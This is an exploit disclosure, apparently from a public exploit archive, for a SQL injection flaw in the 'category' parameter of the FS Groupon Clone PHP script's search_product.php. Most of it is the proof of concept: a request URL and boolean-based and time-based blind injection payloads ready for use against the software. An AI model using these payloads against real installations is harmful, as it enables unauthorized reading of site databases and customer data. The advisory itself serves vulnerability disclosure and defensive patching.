40 lines
No EOL
1.1 KiB
Text
40 lines
No EOL
1.1 KiB
Text
# Exploit Title: FS Groupon Clone - SQL Injection
|
|
# Date: 2017-10-23
|
|
# Exploit Author: 8bitsec
|
|
# Vendor Homepage: https://fortunescripts.com/
|
|
# Software Link: https://fortunescripts.com/product/groupon-clone/
|
|
# Version: 23 October 17
|
|
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
|
|
# Email: contact@8bitsec.io
|
|
# Contact: https://twitter.com/_8bitsec
|
|
|
|
Release Date:
|
|
=============
|
|
2017-10-23
|
|
|
|
Product & Service Introduction:
|
|
===============================
|
|
Developed in PHP/MySQL, the script is a perfect solution for a daily deal software with utmost versatility.
|
|
|
|
Technical Details & Description:
|
|
================================
|
|
|
|
SQL injection on [category] parameter.
|
|
|
|
Proof of Concept (PoC):
|
|
=======================
|
|
|
|
SQLi:
|
|
|
|
https://localhost/[path]/search_product.php?category=1 AND 8132=8132&name=xxxxx
|
|
|
|
Parameter: category (GET)
|
|
Type: boolean-based blind
|
|
Title: AND boolean-based blind - WHERE or HAVING clause
|
|
Payload: category=1 AND 8132=8132&name=xxxxx
|
|
|
|
Type: AND/OR time-based blind
|
|
Title: MySQL >= 5.0.12 AND time-based blind
|
|
Payload: category=1 AND SLEEP(5)&name=xxxxx
|
|
==================
|
|
8bitsec - [https://twitter.com/_8bitsec] |